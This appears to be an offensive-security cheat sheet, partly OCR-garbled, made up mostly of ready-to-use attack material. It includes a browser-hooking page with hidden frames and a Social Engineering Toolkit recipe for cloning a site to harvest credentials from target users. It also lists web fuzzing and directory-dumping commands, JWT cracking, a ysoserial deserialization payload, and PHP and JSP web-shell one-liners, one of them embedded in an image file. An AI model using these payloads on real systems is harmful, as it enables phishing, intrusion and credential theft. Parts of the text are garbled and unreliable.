!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
html
head.
title Campaign Title· /title
script
var commandModuleStr = ' script src= "' + window.location.protocol +
'//' + window. location. host + ':8080/hook.js"
type="text/javascript" \/script.';
document.write(commandModuleStr);
//Site refresh=window.setTimeout(function() {window.location.href='http://ww
w.google.com/'},20000);
/script
/head
frameset rows="*,1px"
frame src="http://www.google.com/" frameborder=O
noresize="noresize" /
frame src="/e" frarneborder=O scrolling=no noresize=noresize /
/frameset
/html
applet archive="legit.jar" code="This is a legit applet" width="1"
height="1"
/applet
iframe src="http://1.1.1.1" width="0" height="0" frameborder="0"
tabindex="-1" title="empty" style="visibility:hidden;display:none"
/iframe
ASCII - Base64 javascript:btoa("ascii str")
Base64 - ASCII javascript:atob("base64==")
ASCII - URI javascript:encodeURI(" script "}
URI - ASCII javascript:decodeURI("%3cscript%3E")
wget -q --save-cookies=cookie.txt --keep-session-cookies --post-
data="username: admin&password=pass&Login=Login" http://url/login. php
curl -I -X HEAD -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)"
http:// ip
curl -u user:pass -o outfile https://login.bob.com
curl http://bob.com/file[l-10] .txt
The steps below will clone a website and redirect after 3 seconds to
another page requiring basic authentication. It has proven very useful for
collecting credentials during social engineering engagements.
1. Start Social Engineering Toolkit (SET)
/pentest/exploits/set/./set
2. Through SET, use the 'Website Attack Vector' menu to clone your
preferred website. ' Do not close SET '
3. In a new terminal create a new directory (lowercase L)
mkdir /var/www/1
4. Browse to SET directory and copy the cloned site
cd /pentest/exploits/set/src/web clone/site/template/
cp index.html /var/www/index.html
cp index.html /var/www/1/index.html
5. Open /var/www/index.html and add tag between head tags
meta http-equiv="refresh"
content="3;url=http:// domainlip /1/index.html"/
6. Create blank password file to be used for basic auth
touch /etc/apache2/.htpasswd
7. Open /etc/apache2/sites-available/default and add:
Directory /var/www/1
AuthType Basic
AuthName "PORTAL LOGIN BANNER"
AuthUserFile /etc/apache2/.htpasswd
Require user test
/Directory
8. Start Apache2
/etc/init.d/apache2 start
9. Start Wireshark and add the filter:
http.authbasic
10. Send the following link to your target users
http:// domainlip /index.html
Install dependencies:
wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0 rc1-
static-i386.tar.bz2
tar -jxvf wkhtmltoimage-0.11.0 rc1-statlc-i386.tar.bz2
cp wkhtmltoimage-i386 /usr/local/bin/
Install Nmap module:
git clone git://github.com/SpiderLabs/Nmap-Tools.git
cd Nmap-Tools/NSE/
cp http-screenshot.nse /usr/local/share/nmap/scripts/
nmap --script-updatedb
OS/version detection using screenshot script (screenshots saved as .png):
nmap -A -script=http-screenshot -p80,443 1.1.1.0/24 -oA nmap-
screengrab
Script will generate HTML preview page with all screenshots:
#!/bin/bash
printf " HTHL.- BODY BR "
preview.html
ls -1 '.png I awk -F : ' {print $1":"$2"\n BR- IMG SRC=\""$1"%3A"$2"\"
width=400 BR BR ")' preview. html
printf " /BODY /HTML. " preview. html
Install Dependencies:
Download Phantomjs
https://phantomjs.googlecode.com/files/phantomjs-1.9.2-linux-x86_64.tar.bz2
Download PeepingTom
git clone https://bitbucket.org/LaNMaSteR53/peepingtom.git
Extract and copy phantomjs from phantomjs-1.9.2-linux-x86 64.tar.bz2 and
copy to peepingtom directory
Run PeepingTom
python peepingtom.py http:// mytarget.com
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt -hc 404 https://www.example.com/?req=search_site&searchTitle=FUZZ
wfuzz -w /usr/share/wordlists/big.txt -u http://admirer.htb/admin/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c
wfuzz -X POST -u ''http://quick.htb/login.php' -w elist.txt -d 'email=FUZZ&password=123456' -hc 200 -c
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://10.10.10.10/FUZZ
gobuster dns -t 50 -d pubg.com -w ~/seclists/Dir/subdomains.dat
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://
example.com/ -H "Host: FUZZ.example.com"
assetfinder --subs-only <domain> | httprobe
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' me.jpg
java -jar ysoserial.jar CommonsBeanutils1 'COMMAND' | base64 -w0
https://github.com/TheBinitGhimire/Web-Shells
./git-dumper.py http://example.com/.git/ example.com
./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump
1-find structure
python2.7 ds_store_exp.py http://poo.htb/.DS_Store
2-enum in finded path
java -jar iis_shortname_scanner.jar 2 20 http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/
python3 paramspider.py --domain bugcrowd.com --exclude woff,css,js,png,svg,php,jpg --output bugcrowd.txt
gf xss domain.txt
gf potential domain.txt
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
یا
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9vdCIsInBlcm1pc3Npb25zIjpbInVzZXI6cmVhZCIsInVzZXI6d3JpdGUiXSwiaWF0IjoxNTkxMTcxODU4LCJleHAiOjE1OTEzNDQ2NTgsImlzcyI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zbm9vcHlzZWN1cml0eSJ9.blfmt8RiLnBO8mfOKS1Y8u_aFZnMpgNhpQzooLADHcs
docker run --rm -it portswigger/sig2n <token1> <token2>
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' meme.jpg
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>